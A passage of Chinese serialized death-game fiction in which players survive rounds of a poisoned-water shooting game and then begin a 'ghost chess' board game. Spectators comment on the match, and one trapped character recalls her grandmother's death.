罗冰吹破泡泡糖,在高脚椅上伸了个懒腰,悻悻道:“得!咱东城又输一局咯!大庄家这次挑的这波啥玩意新人呐?感觉笨笨的!保不齐最后只剩那水棺里的小姑娘能进城?”
“青大饼!还没结束呢!”对面的范诺琪斥了一嘴:“再说了,你好意思说人家笨?永夜城要是没有运气游戏跟体力游戏,你能不能坐在这里都难说。”
“诶诶,别扫射啊!我可不笨,我看呐是您还没瞧明白呢?”罗冰“唉”地叹一声,“你看看,游戏就剩两轮哦!那西边最多最多也就再生成两瓶[水],只要那小眼镜苟住不作死,他不稳赢?”
范诺琪冷哼一声,没再搭理。
“真的么机会嘞?”青八筒拧着眉毛,紧盯电视里“水晶屋”的画面。
旁边的青七筒摇摇头:“不,还有机会。”
“啥机会?”
“除非……”青七筒摸了摸自己的光头,“……现在这个会枪法的新人,或者下一轮时候那个女孩……主动牺牲自己,把房间里的水全部打破!”
这话令吧台处的几人都是一怔。
“全部打破?”罗冰瞥了眼青七筒,又将目光投向电视画面:“就像刚才西边那女的一样呗?”
他顿了顿,又道:“那人家是被噪音逼疯了,其他都是正常人,凭啥牺牲自己给他人做嫁衣!?”
“所以,总的来说,就是希望不大……”
……
还剩八个回合,总共只有两轮。
该怎么做才能让[水]比西房间的少?
宋白河被关在东边的玻璃房间中,望着传送带卡槽里的三瓶[水],只觉得自己半只脚已经踏进棺材里!
“砰!!”
第17回合,北边的长脸女再次选择开抢。
然而这次她没有那么“好运”。枪声响起,子弹飞出,打在场地北边。
“得喝水咯!”
西边的眼镜男发出像是幸灾乐祸的嘲讽。
然而长脸女完全没注意到,她只是脸色呆滞,身体僵硬,仿若行尸般静静站在那里。
广播:“射击失败!请当前玩家在10秒内喝下房间中的一瓶水,10、9、8、7……”
这时候开枪喝水似乎也并不是坏事……
宋白河心里嘀咕,不知长脸女为何神色有些异样。
应该是害怕[水]里有毒吧。
然而已经有三名违反规则玩家的前车之鉴,她再不情愿,也只能拿起房间里这回合生成的[水],战战兢兢地一口一口喝下。
“这就是水……没事?没事啊!哈哈哈!菩萨保佑!菩萨保佑啊!”
长脸女发觉自己没有中毒后,开心得呵呵笑着。
她将空水瓶放回卡槽中,拍拍胸脯,随后把手枪放回置物台。
只是过程中眼神依旧闪躲,仿佛没有聚焦。
“不对。”宋白河神情严肃。
3……
2……
1……
很快,轮到眼镜男。
他没有着急行动,而是扶着眼镜,站在血肉模糊的玻璃墙后,紧盯着北房间的长脸女端详,跟个猥琐的衣冠禽兽似的,想从她身上看出什么。
宋白河先是面露困惑,随后恍然大悟:水鬼!
上一轮中,被“水鬼附身”的莫西干头女人淘汰了,所以此时水鬼应该还会附身到其他玩家身上……
宋白河知道自己不是,西边的眼镜男看着也不是,那最有可能的就只剩下北边的长脸女!
光顾着想米米的说法,刚才一直在注意场上[水]的数量,差点忘记还有“水鬼”的存在。
难怪长脸女的反应那么奇怪。
“哎哟!别装了,你肯定被附身了!”眼镜男得意笑着,隔着沾满队友血的玻璃墙,看上去颇为瘆人。
“我这次绝对不会再上当了!就让水鬼一直在你身上呆着吧!少出来霍霍人!”
从反应上来看,被水鬼附身的人都极为痛苦。他可不想成为下一个水鬼附身的选择!
至于喝水嘛……到目前为止,喝水的人都没出过事,总不能就他倒霉吧?
眼镜男笑了一下,从置物台取出手枪,跨过莫西干头女人的尸体,将枪口对准窗外。
场地西边没有人,“气球椅子”空荡荡的,只有那颗气球。
他要开枪?
宋白河跟长脸女神色各异。
长脸女是在担心眼镜男作为她的下家,竟然识破了她被“水鬼附身”的身份。无法触发“水鬼袭击”,到时候自己会不会像莫西干头女人那样被逼疯?
至于宋白河,则是在意三个房间内[水]的数量对比。
就算眼睛男选择“跳过”,触发“水鬼袭击”转移了北房间的一瓶[水],那么北、西房间的[水]就都是两瓶,而东房间至少三瓶。
宋白河和米米依旧没有获胜的希望。
但……
如果这时候眼镜男开枪,喝到的[水]刚好是毒药……死光了的西阵营也将直接退出这场游戏!
剩下东、北两个阵营,都是三瓶[水]。
下一轮还有争夺胜利的资格!
宋白河看向西房间传送带卡槽里唯一的[水],不知道自己该不该祈祷噩运降临他人。
估计眼镜男也开始意识到[水]的数量才是决定游戏最终胜负的关键。
由于队友莫西干头女人的神助攻,他目前只需苟住就能赢!
但要小心别再触发“水鬼袭击”,所以不能“跳过”。
眼镜男目露凶光,决然扣下扳机——
“嗒”。
空枪!
“哈哈!啊哈哈!啊哈哈哈哈!”眼镜男欣喜大笑!
水都不用喝!幸运女神开始站他这边了!
他用力亲吻手枪,神态恶心之极,大喊着“亲爱的我走狗屎运啦”,回身像是要对长脸女和宋白河炫耀,又瞬间意识到“你我命运并不相同”,于是稍稍收敛得意忘形,嬉笑着将手枪放回置物台。
眼镜男无需喝[水],没有中毒的风险。
西房间此时只累积1瓶[水]。
就算下回合眼镜男被换到“气球椅子”,空荡的西房间再累加1瓶,也不过是2瓶而已。
然而东,北阵营这轮都至少拥有3瓶了!
眼镜男成功苟住!
“游戏结束!”
眼镜男开心地打了个响指,不再关心长脸女与宋白河的举动——毕竟这是两个无法阻止自己胜利的将死之人。
无需挂齿!
18回合结束;手枪更换;19回合,南阵营,三分钟。
空寂、难熬的三分钟。
宋白河对着东房间内的三瓶[水],逐渐陷入绝望——难道真的只能牺牲一个人,学莫西干头女人那样,将[水]全部破坏,才能保住另一个人获胜?
他咬着后槽牙,脸颊微微抽搐。
现在,到了做决定的时刻了?!
要怎么做才好?
如果我不牺牲,下一轮米米会为我牺牲吗?
如果两人都不牺牲,那么两人最后都得死!
死一个,总比两个都死好?
但是……我牺牲掉的话,真的是对的吗?米米的意思,是让我牺牲吗?还是她有其他的方法?
怎么办?该怎么做?
我该怎么做?
宋白河揉着发硬的额头,手指焦虑地把玩头发。
三分钟倒计时结束,游戏来到第20回合,轮到宋白河行动。
他步履沉重,从置物台取出手枪时,隔着沾上血浆的玻璃墙,对上眼镜男嘚瑟的目光。
那目光逐渐变成得意的、令人厌恶的、小人得志的、宛若在看一具尸体般的、躲在镜片后令人
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作呕的……
“……”
宋白河收回心神强迫自己无视,举枪回到东房间的窗户处,瞥了一传送带卡槽。
已经有4瓶[水]了。
虽然想不出解决的办法,但这回合就先开枪喝水吧。
他没去瞄准气球,而将枪口朝着场地边角,随意扣下扳机——“嗒”。
“嗯?!”
宋白河难以置信凝视手枪撞针,又用力扣了扣扳机。
但已经打出空枪进行过发射,此时智能锁启动,无法再次开火。
空枪?!!
偏偏这个时候?
那……
他又望向传送带卡槽的4瓶[水]——那这样下去岂不是输定了?
“哈哈哈!笑死我了!哈哈哈!”
西边的眼镜男忍不住捧腹大笑,发出类似公鸡打鸣的滑稽声响,一边嘲讽道:“不想开枪的全都开了,想开枪的时候却是空包弹……哈哈哈!笑死我了!哎哟……别玩了,你们还不明白吗?游戏已经结束了啊!哈哈哈!看看你们的[水]啊!”
“……呃!”
宋白河咬着牙关,无法反驳。
眼睛男果然也已经意识到了[水]才是胜利的关键……
我的游戏,真的就这样结束了?
倒计时一秒一秒流逝,仿若死神的脚步一点点逼近。喉咙被无形的魔爪扼住,无法呼吸!
剩下四个回合就是所谓的“垃圾时间”?
只能期盼米米最后会牺牲她自己,来换取游戏胜利?
不……不应该是这样……
那冥冥之中操控我的“执棋手”,明显是想帮我赢下游戏的!
59……
58……
57……
56……
宋白河将手枪放回置物台,随后缓缓转身,步伐缓慢而坚定,走向传送带卡槽。
他神色刚毅,拿起一瓶[水]。
……
东城,酒店顶层俱乐部。
“哇!真有人会牺牲自己,去换陌生的队友活下来呀?”
范诺琪口含冰淇淋勺子,怔怔盯着电视,咕哝道:“这不纯傻子嘛!喂喂喂!有没有人翻一下前面的视频,看看这家伙跟那女的什么关系?他们很熟吗?真愿意为她牺牲?”
“唉……”罗冰叹了口气,移开目光,坐在高脚椅上旋转半圈,背靠吧台。
他换了副口吻:“哟!这咱青五条大小姐就不懂了吧?这叫牺牲精神!您可瞧好咯!跟熟不熟可没关系!”
“你能为陌生人牺牲?骗傻子呢?”
罗冰撇嘴,脸上浮起一丝可疑的红,小声嘟囔了一句:“刚遇见你的那场游戏不就差点牺牲了嘛……”
“不对,”一直关注电视画面的青八筒打断,“他好像是要……”
……
宋白河没有像莫西干头女人那样,违反规则,将[水]破坏。
他只是拧开瓶盖,仰头将手中的[水]倒入口中!
喉结微动,180毫升的透明液体一滴不剩,全进了肚子里。
——规则里从来就没有禁止玩家喝[水]!
【规则2:回合开始时,你的房间传送带将会送出一瓶[水]。任意情况下,禁止玩家破坏[水],包括但不限于倾倒、抛掷、滴漏、吐出、击碎、带离房间等。[水]只允许被饮用。】
“[水]只允许被饮用。”
无论是不是打空枪,都可以喝[水]——只要不“破坏[水]”,就不算违反规则!
而且……
宋白河将空瓶放回卡槽,又拿起一瓶对瓶吹!
谁说一回合只能喝一瓶的?
只要我敢,我一口气就能把四瓶全干光!
宋白河不担心里面有毒药,因为不知为何,他总感觉,背后那个操控玩家的“棋手”肯定……
“想让我继续游戏。”
49. 彩虹节拍-绿青14
一双死鱼眼直勾勾盯着前方,愤怒,呆滞,死寂,绝望。
倾斜的眼镜耷拉在鼻梁上,一点点下滑,无可挽回滑向深渊。
“为什么,为什么你没死,为什么,为什么没死,为什么,为什么你没死……”
眼镜男唇齿哆嗦,身体被禁锢在“气球椅子”上,动弹不得。
就在刚刚,他亲眼见证宋白河在倒计时结束前,一口气喝光了东房间全部的[水]!
还没等有所反应,游戏便进入【轮换】环节。广播语音的倒计时催促着“水晶屋”里的玩家赶紧离开。
眼镜男一边跑向西边的“气球椅子”,一边回头看宋白河的状态,他不停地在心里祈祷,试图上天听到自己的祷告后,能让宋白河立刻“毒发身亡”。
然而没有。
宋白河什么事都没有,只是和他的队友交换了情报,随后坐上东边的“气球椅子”。
他还活着。
“为什么?为什么他喝了这么多还不死?!”
“运气……真的那么好?”
眼镜男遵循规则,在最后一轮游戏中坐上“气球椅子”,仿佛即将受刑的死囚。
身体无法动弹,眼前的“水晶屋”成为临终前的绝景。
游戏规则里说的“40%有毒”的[水],宋白河连喝4瓶……不,连同他第一轮喝掉的,一共喝了5瓶……
他怀疑全部的[水]里根本就没下毒。
一切都是红蟹用来吓唬他们的谎言。
否则,“40%”的概率会这么低吗?
还是说宋白河才是真正的“气运之子”?
“半场开香槟……是真的不行啊……哈……”眼镜男重重泄了口气,脸上那双死鱼眼变得更加黯淡,仿佛已经彻底离世。
西房间最后一轮还会生成1瓶[水],加上他刚才的1瓶,总共2瓶。
莫西干头女人已经死亡,“水晶屋”内没有玩家能进行操作。
眼镜男被困“气球椅子”无力回天。
2瓶[水],已经输了。
……
“跳过。”
北房间的大妈战战兢兢喊着。
“哼……这么多心眼子,又想害我!?”她想起刚才【轮换】环节时,长脸女急忙忙抓紧她的手臂,边看向宋白河边交代“你一定要喝水,把房间里的水全喝光”的样子。
那眼里全是做贼心虚。
大妈视线穿过玻璃墙,投向北边的气球椅,得意一笑:“哼,不就是想让我开枪,好把跳过让给你用呗!让我帮你喝水?我中毒死了对你有什么好处?肯定是想害我!我可不会上当!”
大妈不由得想起在北大厅里,那个叫“李曼曼”的好心小姑娘,好在她一早就提醒了自己——同个阵营的,可不一定就是队友哦,让自己一定要多多提防。
“人心隔肚皮。”
大妈重复了一遍李曼曼的“口头禅”。
曼曼说的果然没错!
这个长脸女果然就是想害自己。
大妈叹了口气,要是这次一起进来的是曼曼就好了……
游戏照常进行。
广播提示音和房间的闪烁红光交替,组成“水晶屋”最后的声光氛围,像是谢幕演出。
北房间共4瓶[水]。
西房间共2瓶[水]。
南房间共5瓶[水]。
东房间……“嗡嗡嗡”。
米米站在这回合生成的一瓶[水]旁边,朝远处“气球椅子”上的宋白河投去复杂的目光。
“跳过。”
真莽啊!
不过幸好,还是活下来了呢。
……
东城,酒店顶楼俱乐部。
青八筒重重“嘭”地拍了下吧台,兴奋跳起:“这下赢咯!这小弟兄真争气嘞!啷个晓得直接喝水咯?哈哈!反正是赢咯!我老八喜欢他!”
旁边被吓了一跳的青七筒摸了摸光头,笑道:“你还真是健忘,你刚因为这新人输大饼一枚雀徽哦……”
“唉?怎么七哥您也叫我大饼了!?”罗冰不满打断,敲了两下吧台,“都是范诺琪你害得!说吧,怎么补偿我!”
“青大饼,你皮痒了是吧?”
范诺琪歪着脑袋,盯着电视屏幕看:“终于赢一局了吗……不是,这人是真傻还是真莽,怎么敢就这么把水喝光的呀?就真不怕水里有毒?”
“不怕!咱就是说,有时候想赢真得靠莽嘞!”青八筒难掩激动之情,“我喜欢,这小弟兄阔以处!自己人!他进城来我罩着!”
“你个青八筒,就知道莽。”范诺琪“唉”地叹了口气,“难怪老大说你们都……”
“老大说啥子?”
“说你们讲义气,有冲劲,团结、信任、气运逆天!”范诺琪侧过头,偷摸翻了个白眼。
倒是吧台后的罗冰“翻译”道:“老大说咱们一根筋,没脑子。”
“啊?”
“老大真是这意思?是不是你自己想太多了!”
“不管怎样,这把运气好,咱东城总算是赢一局。就是不知道接下来还能不能赢了。”
……
水棺内。
【善恶毒药】游戏结束。
“恭喜南阵营淘汰者率先用光所有‘水鬼毒药’,您将获得足足300分钟狗环剩余时长奖励,以及神秘大奖一份!”
红蟹声音依旧中气十足,回荡在水棺内。
沈墨棠在“两两投毒”的最后,决定将这回合的奖励留给“南”。
游戏过程中,南先开的头,三个淘汰者互通的姓名——西叫“秦泽欣”;南叫“郭丹妮”。
鉴于第三回合【大者通吃】中郭丹妮单独失利,以及她在【善恶毒药】中的积极配合。
自己的时间还够,没必要为了这300分钟把刚刚建立的信任基础打破。万一下把又是这种合作型的,南边只要撒个“小小”的谎,那事情就会变得复杂。
不知道这轮主线游戏,宋白河跟米米赢了没有?
如果他们赢下了【水火相容】后,自己的石棺里应该会开始注入冰水吧……
【水火相容】游戏结束。
触屏画面显示:
东,献祭+3;南,献祭+4;西,献祭+3;北:献祭+2
他们赢了!
沈墨棠苍白的脸反射着触屏微弱的光,耳朵微动,能听见石壁内部有什么澎湃的声音。
“哗啦啦啦啦啦啦啦啦!!!!!”
膝盖处的气孔里猛地注进冷水来!瞬间浇湿了她全身!
“——嘶!”沈墨棠猛地倒吸一口凉气,浑身一阵不由自主的颤抖,实在是冰死了!
就像是无法关闭的淋浴花洒,冷水大量冲入,很快便开始在水棺底部积满,随后水线一点点上升、上升、再上升,吞没沈墨棠半个身子,将她泡在其中。
1/3的水位,真有那么多吗!
冷水的刺激加上本能的惶恐,沈墨棠无论如何都无法停止身体颤抖,呼吸愈发困难而急促,仿佛一瞬间,溺毙、失温、心脏急停等死亡威胁就统统降临,就算做足心理准备也无济于事。
那种恐惧,来源于对真相还未知晓,就只能离去的遗憾。
对沈墨棠而言,死亡并不可怕,可怕的是没能找到自己想要的真相。
“我才不要,这么稀里糊涂的被弄死……”
真冰啊!
像无数的小针扎进自己的皮肤里,骨头里。
她感觉周身裹在海水里,自己缩着身子一直往下,海里没有呼吸声,只有一片寂静。
她不断在向下沉,不断在向下走,直到触底,才满足地站直,一抬头,脑袋却伸出了水面。
映入眼帘的只有一缸水,座落在无边的沙漠中。
自己从缸中爬出,可偏偏从水里爬出来的她,全身都是干燥的,甚至皮肤都干得开裂。
回头,缸中没有水,是满满的眼睛。
“嗒嗒嗒”、“嗒嗒嗒”、“嗒嗒嗒”……左手食指伸出在水面上,无意识敲
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打石壁,心跳、呼吸、脉搏随之加快,也随之放缓。
沈墨棠意识出现片刻错乱,再次睁眼,意识又回到黑暗冰冷的水棺中。
“哗啦啦……”
片刻,注水终于停止。
如红蟹所说,在【彩虹节拍】主线游戏中,阵营每获胜一次,水棺内都会注入1/3的冷水。
因为沈墨棠躺在水中的缘故,这1/3的水位看起来比实际上更高一些,完全没过她的腰身。
泡在这种环境中,很快就会迎来失温的危险!
好消息是,自己应该不会因为窒息而死了……
沈墨棠努力将身体往后撑起,上半身靠在水棺墙壁处折成一个“C”字,尽量避免浸泡在冷水中。
“这该不会是,奶奶对我的惩罚吧?”她因为脑子里忽然冒出的神奇念头,哑然失笑:
“如果真是的话,那就好了。”
奶奶过世的时候,沈墨棠没有见到她最后一眼。
当时是读小学二年级的堂弟打来电话,说:“阿棠姐,奶奶快没了,我爸让我打电话给你……你,要回来吗?”
沈墨棠躲在宿舍楼顶楼,右手握着手机,左手食指轻轻敲打着配电箱。
她犹豫着,思考着,权衡着——
奶奶,我明天就要高考了,你能等得到我回去的,对吧?
奶奶,你从小就告诉我要好好学习,要考好成绩,你撑得住的,对吧?
奶奶,等我。我这两天高考结束,马上就回去看您了。等我,奶奶。
沈墨棠没有立刻回老家,而是继续在学校呆着,直到高考结束。
和沈墨棠想的不一样,奶奶最终没有等到她,先一步走了。
丧葬期间,人来人往,围绕着奶奶的遗像、遗体忙碌。
大伯找到了沈墨棠,语气哀伤而冰冷,半不在意地问:奶奶过世前,小弟曾给你打过电话,是吗?
沈墨棠一怔,点点头。
“也对,刚好高考嘛,你从小就脑子灵,跟你爸妈一样嘛,高考重要!高考重要!”大伯像是劝慰般拍拍沈墨棠肩膀,看了眼灵堂内奶奶的遗像,转身要离开的时候,还是忍不住话中有话:“你奶奶生前一直在处理你爸的债务,你妈当年因为你爸的事,是差点带着你一起……这么多年来,我们几个当子女的,给钱的给钱,出力的出力,可妈她都拿去填你爸留下的那个无底洞了。墨棠啊,你奶奶她、从始至终都没亏待过你吧?”
他的话语中带着些许抱怨:“你奶奶啊,最后一直在喊麻糖,眼睛始终都没合上。”
!!!
!!!
!!!
沈墨棠感觉自己像是忽然被一辆卡车碾过,独自坐在灵堂一隅,双手攥紧椅子生怕掉下去。那是她第一次发觉,自己的左手食指不受控制,心跳、呼吸、脉搏如此紊乱,仿佛全都不属于自己。
她望着奶奶的遗像,奶奶的遗像望着她。
没有想象中的眼泪。
没有情绪的宣泄。
奶奶……也会觉得自己像爸爸妈妈一样吗?
“麻糖。”
“麻糖。”
“麻糖。”
“麻糖。”
灵堂另一侧,是奶奶的冰棺。奶奶就躺在里面,等着按照乡下习俗,头七那天出殡。
“麻糖。”
“麻糖。”
“麻糖。”
冰棺里仿佛传出奶奶的声音。
沈墨棠清楚冰棺里不可能发出声音。
但她还是听到了,清清楚楚听到了,那一声声重复的“麻糖”,飘出灵堂,飘向院外,飘向田野和山峦,回荡在白天和黑夜,让每一颗星辰与每一粒沙土都听得明明白白。
“麻糖。”
沈墨棠试着站起,却跌入更黑更冷的深渊。
她就躺在冰冷的棺中,只有这样才能让自己羞愧难安的心好受一些。
“嗒嗒嗒”、“嗒嗒嗒”、“嗒嗒嗒”……
这臭毛病什么时候才能好。
50. 彩虹节拍-蓝1
一面奇特的光幕前。
独自站着先前离开酒店顶层俱乐部的青二条。
即便只是穿着东城人人一样的绿白“校服”,她的好身材也展露无遗,高挑挺拔窈窕,充满力度。
“大庄家,你刚才说这次选新人,你主要是为了让那个叫沈墨棠的女孩加入东城,其他的都算送的。这是人话吗?”
“我说的全是真话。”光幕荡漾出波纹,传出东庄中气十足的男声:“潇啊,我问你,你身为东城的老大,难道没发现我们东城一直欠缺什么吗?”
“我也没说你说假话。不过……”青二条停顿了一下,继续回应道:“你说欠缺的……是指‘理智’对吗?”
“就是!”
光幕的波纹更加明显:“我们东城现在全是一群莽夫!头脑一热,神经一抽,就要大喊着‘友情’啊、‘羁绊’啊肩并肩往前冲的中二病晚期患者!我不说你都不知道,西庄跟北庄那两个家伙都怎么嘲笑我的!”
青二条抿着嘴,低低吐了句:“这不是你自己喜欢的风格吗……”
“潇啊!”东庄自顾自兴奋喊起来:“但是这次不一样了!这次我给东城找到了一个永夜城需要的人!一个能弥补东城短板的,以理性、理智为行为准则的人!一个绝对能带领我们东城走向胜利的人!她,就是沈墨棠!”
“你倒是别动不动就燃起来啊,人都还没到东城呢……”
“潇啊!一定要看好她!”东庄声音高亢,引得光幕不停荡漾:“这届四方战,她一定要参加。她肯定能阻止南城的连胜,肯定能让东城绝地翻盘!”
“倒是也知道咱们已经到‘绝地’了……”
“王潇!”东庄终于放缓语气:“从刚才开始你就在自己嘀咕什么呢?”
“还在想你什么时候才能注意到呢。”青二条吐槽结束,深吸一口气,“大庄家,那其他人呢?我是说这届新人里面的其他人,有需要注意的吗?”
“唔……能活下来的,别让新人传染上筒子们的中二病就行……”
……
“是我?”
万梦发现自己脖子上的狗环闪烁起红灯。
东大厅的广播语音:“请玩家【万梦】在10秒倒计时结束前,单独、进入电梯、原地、待命,倒计时10、9、8、7……”
电视屏幕上,亮起的第六个人形标识是蓝色的,显示【无影无踪】四个字。
万梦眼前一亮:“真的是……”
“果然没错。”旁边的曹彦旭放松下来,露出一个鼓励的笑容,“按照我教你的必胜法,放心,你能赢!”
万梦将信将疑,不过屏幕里确实是出现曹老师所说的“无影无踪”游戏主题后,她心中瞬间多了几分底气!
眼前这个曹老师,真的曾经来过这里?
他怎么对这些游戏那么熟悉?
确定了曹彦旭不是一个疯子,更多的谜团在万梦脑中升起,只不过她现在没时间去一一思考。
“嗯,先谢谢曹老师了。”万梦喝了口水,在倒计时结束前走进电梯,含含糊糊道了声谢。
仿佛一个即将上场比赛的格斗选手。
而担当“教练”角色的曹彦旭,则独自留在东大厅内,淡然致意:“我们城里见。”
电梯门关闭。
曹彦旭捡起地上一瓶饮料,轻轻嘬了一口,润润嗓子,暗自呢喃道:“沈墨棠,可惜了,下次吧。”
很快,电视屏幕跳出游戏场地的监控画面。
在嵌着巨大“东”字石块的石墙底部,万梦从电梯口走出,谨慎又大胆地走向红线处。
北、西、南三个方向,也各有一名玩家出现。
场地中央的“水晶屋”已经消失,地上只留下一片方形的痕迹,被划成许多方格,像是某种棋盘。
曹彦旭眼神沉稳,更加成竹在胸:“是幽灵棋没错了。”
……
【彩虹节拍】游戏主场地内。
万梦听从语音指示,在红线处停下。
与之前几场游戏不同,此时场地中央完全没有任何遮挡物,空空荡荡的。地上划着一些大小相同的方格——跟曹老师先前所描述的“幽灵棋”一模一样!
他没胡说!
他真的知道游戏!
赢定了!
万梦按捺住雀跃的内心,尽力保持扑克脸,眺望四周。
北边的玩家,是一名个子矮小的中年男人,估计170不到的身高,留着八字胡,目露精光。
南边的玩家,是一名面带苦色大叔,他的右手缠着带血的衣物,像是从他身上的病号服撕下来的,连带其身上也都鲜血淋漓。
他的手指应该刚断不久,不知道在南大厅内经历了什么。
至于场地西边的玩家,则是一个长着国字脸的大块头,肌肉虬然,让人感觉像是蛋白粉喝多了。
万梦稍稍安心。
虽然面对的是三名男性,在体力上不算占优,但她丝毫不虚。
如果曹老师说得没错,这个【无影无踪】游戏考验的是智力。只要认认真真按照他提供的攻略执行,就大概率能轻松获胜!
“嘀——”
场地广播响起提示音,接着出现的是主持人红蟹的声音:
“哟!亲爱的玩家们,欢迎来到【彩虹节拍】第五回合的游戏,我们叫它【无影无踪】!”
“这是一场棋类游戏……如各位所见,场地中央的地面,像不像是个棋盘呢!哈哈!”
主持人话音刚落,万梦只感觉到脚下“轰隆隆”颤动起来!
场地中央的一大块圆形地面发生旋转,厚实的混泥土在机械运转下摩擦移动,激起沙尘扬起,暂时盖过血腥味。
“嗡隆隆隆!!!”
那个四边形的“棋盘”随之转成了将角对准玩家的“菱形”。
这变故虽然惊奇,但万梦没有像其他三名玩家那样,充满对未知的恐慌。
或者应该说,按照曹老师的教学,幽灵棋的“棋盘”就应该是角向着玩家才对。
这个棋盘大小和“金字塔”或者说“水晶屋”的占地面积一样,边长大概20米的正方形,其中又划分成6×6的36个边长三米的小方格。
“哈哈!相信各位都听说过地缚灵吧?那是一种来自日本神话传说中的著名幽灵……”
红蟹声音故作深沉,反而跳脱而滑稽,宛若是大人在以某种恐怖故事哄骗小孩:“……那是指有灵魂的生物死后,其灵魂被束缚在死亡的范围内活动,无法离开该地的幽灵。它们往往都会因为怨念不化,从而称为恶灵!”
“不知道四位玩家有没有想过……在各位之前进入这个场地,死在这个场地的玩家,会不会变成被束缚在这里的‘地缚灵’呢?”
“呀哈哈哈哈哈哈哈哈!!”
广播里传出红蟹夸张的大笑,久久回荡在游戏场地上空。
那笑声经过电子元件的处理,震荡空气,令人心里发慌,仿佛场地里那些尚未消退的血污活了过来,化作一只只主持人口中的“地缚灵”。
万梦冷静自持。
曹老师早就将游戏的内容告诉过她,她也清楚接下来将会出现在【无影无踪】游戏里的“地缚灵”,并不是那些死去的玩家,而是最初被投票淘汰的……
沈墨棠。
“你肯定想要报复我们吧?”万梦将手遮挡在眉毛处,抬头望向高空,但因为强光的关系,什么都没看到。
她口中喃喃:“这么久了,你还躲得住吗?你不可能想得到,曹彦旭,他曾经进来过这里。沈墨棠,对不住了。”
“不好意思,我不能输。”
“我想活着,就只能再送走你一次!”
万梦感概的同时,场上已经发生了变化——中间“棋盘”四个角的小方格,都亮起了灯。
东边是青绿色、北边
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是黑紫色、西边是奶白色、南边是朱红色。
红蟹“咳咳”清了清嗓子,开始说道:“在这场棋类游戏中,四位玩家将以自己作为棋子!现在请四位移动到各自面对的边角棋格中吧!唔……30秒足够了……开始移动!”
广播内剩下“嘀嗒嘀嗒”的计时声。
脖子上的狗环开始闪烁红灯,万梦也清楚不听话会遭遇什么惩罚,乖乖按照主持人所说,走到棋盘东侧的边角棋格内,被地面射出的青绿色光环绕。
四方形的棋格有3×3平方米,足够一个人横躺在里面肆意打滚。
同样的,北边的八字胡中年、西边的方脸大块头、南边的断指大叔,也都踏上各自的边角棋格。
四名玩家处在四个边角,四种颜色相对,四双眼睛相互打量,颇有种擂台对决的紧张感。
“很好,接下来由我宣读【无影无踪】的游戏规则!”
红蟹沉下嗓音:“首先我们介绍一下这场棋类游戏,四位玩家全程将在这个6乘6的巨型棋盘内活动,最终只有一位玩家将获得胜利!”
“四位现在所处的棋格,称为你们各自的‘本阵’,也将是你们的起始位置。”
“玩家从本阵出发,四位玩家同时进行移动。”
“每回合游戏将提供30秒的‘移动时间’,你必须在30秒内向相邻的格子移动一格。”
“接着是30秒的‘判定时间’,你需要待在原地……或者之后所说的另一种情况。”
“游戏由30秒‘移动时间’和30秒‘判定时间’交替进行。”
“最终率先踏入棋盘对角玩家‘本阵’的玩家,将获得本场游戏的胜利!”
“简而言之,各位需要尽快穿过这个棋盘——东边需要走到西边;南边需要走到北边;西边需要走到东边;北边需要走到南边……呵……”
红蟹长换了一口气:“很简单,对吧!”
“是很简单,”万梦用指甲刮了刮自己的眉毛,表情微妙:“但不止这么简单。”
果然,广播里红蟹停顿片刻,继续说道:“这里公布几条注意事项:”
“1,禁止往斜向格子移动。”
“2,禁止一回合内多次移动。不论是移动超过一格以上,或者移动后退回原来的棋格,都视为违规。”
“3,每回合必须移动。”
“4,不要被[幽灵]抓到。”
“哦哦哦!”红蟹像是忽然记起什么般,讪笑道:“注意啦!棋盘里除了四名玩家以外,还存在四个无法被看见的[幽灵],其行动受到一定的限制。”
“若是你在‘判定时间’内与[幽灵]处在同一个棋格内,则视为被[幽灵]抓到!”
“此时,你需要在本回合的30秒‘判定时间’结束前,尽快回到己方本阵,下回合继续进行游戏。”
万梦挑眉,轻轻一笑。
果然,曹老师押中考题了!
或许其他三名玩家会困惑[幽灵]的存在,但万梦清楚,【无影无踪】里的四只看不见的“幽灵”,实际上就是最初四个阵营里被投票淘汰的玩家。
而且,主持人没有详说的关于[幽灵]移动受到何种限制,万梦此时也一清二楚!
她凝眸望向棋盘中央的四个棋格,仿佛能看到四只被束缚的“地缚灵”蠢蠢欲动的模样。
“很抱歉,可惜我已经画过重点了!”
简直像开挂般的降维打击!
红蟹的声音兀自继续:“好啦!至此【无影无踪】的游戏规则已经全部讲解完毕!呃……玩家们注意不要违法规则哦!否则将受到狗环断线的惩罚……咳咳,还是老样子,游戏的胜利者将为所在阵营增加一个胜场,并且获得一枚‘雀徽’作为奖励;失败玩家将留在原地,扣除300分钟狗环时长作为惩罚!”
“那么,【无影无踪】将在倒计时10秒后即刻开始,10、9、8……”
51. 彩虹节拍-蓝2
除了开场时红蟹所提到的“地缚灵”传说,曹彦旭对【无影无踪】这个主题游戏“幽灵棋”的描述,几乎是一字不差。
常规对局中,玩家想要获胜,重点是找出那些[幽灵]的行动方式。
避开它们,走到棋盘对角,获得胜利。
可在曹彦旭的指导下,万梦早已对[幽灵]的行动方式有了预判。
站在东边的“本阵”内,扫视着整个棋盘,很快就在心中预演出了“必胜法”!
按曹彦旭的方法,不妨按照棋类游戏写谱的方式,给36个棋格进行坐标定位:
假定万梦左手边延申出去的坐标为1-6,右手边延申出去的坐标为A-F,那么就能将这6×6的棋盘全部进行标示。
例如她脚下的“本阵”就是(A,1),而对面西边玩家的本阵是(F,6)。
第一回合中,万梦只能往左前方的(A,2)移动,或者往右前方的(B,1)移动。
确定基础后,接下来便是曹彦旭多次耳提面命到的重点——
关于[幽灵]的起始位置和行动限制。
开始的四只[幽灵],将会聚集在棋盘中间,位于各自方向的棋格内。
例如沈墨棠所操控的[幽灵],就位于棋盘中央四格中朝东的棋格,也就是(C,3)。
北幽灵起始(D,3);西幽灵起始(D,4);南幽灵起始(C,4)。
[幽灵]的目标,是在游戏中需要尽可能多地抓到玩家,累积分数。
分数最多的[幽灵],就能赢得所谓的“支线游戏”。
之前欧阳浩宇、郑云霞,还有上个游戏的南阵营,都完成了“隐藏任务”,增加狗环剩余时长——这实际上就跟淘汰者们的“支线游戏”结果相关。
所以玩家不要被所谓的“隐藏游戏”迷惑,“隐藏游戏”胜利与否,实际上跟玩家没有半毛钱关系。
在这次的直线游戏里,[幽灵]和玩家一样,每回合只能向相邻的棋格走一步,不能斜走,不能多走,不能不走……此外,[幽灵]还受到额外限制——即“只能在己方阵营的九宫格内移动”。
“很形象啊,地缚灵。”万梦的脑海中不由得浮现出沈墨棠模样,忍不住发出感慨。
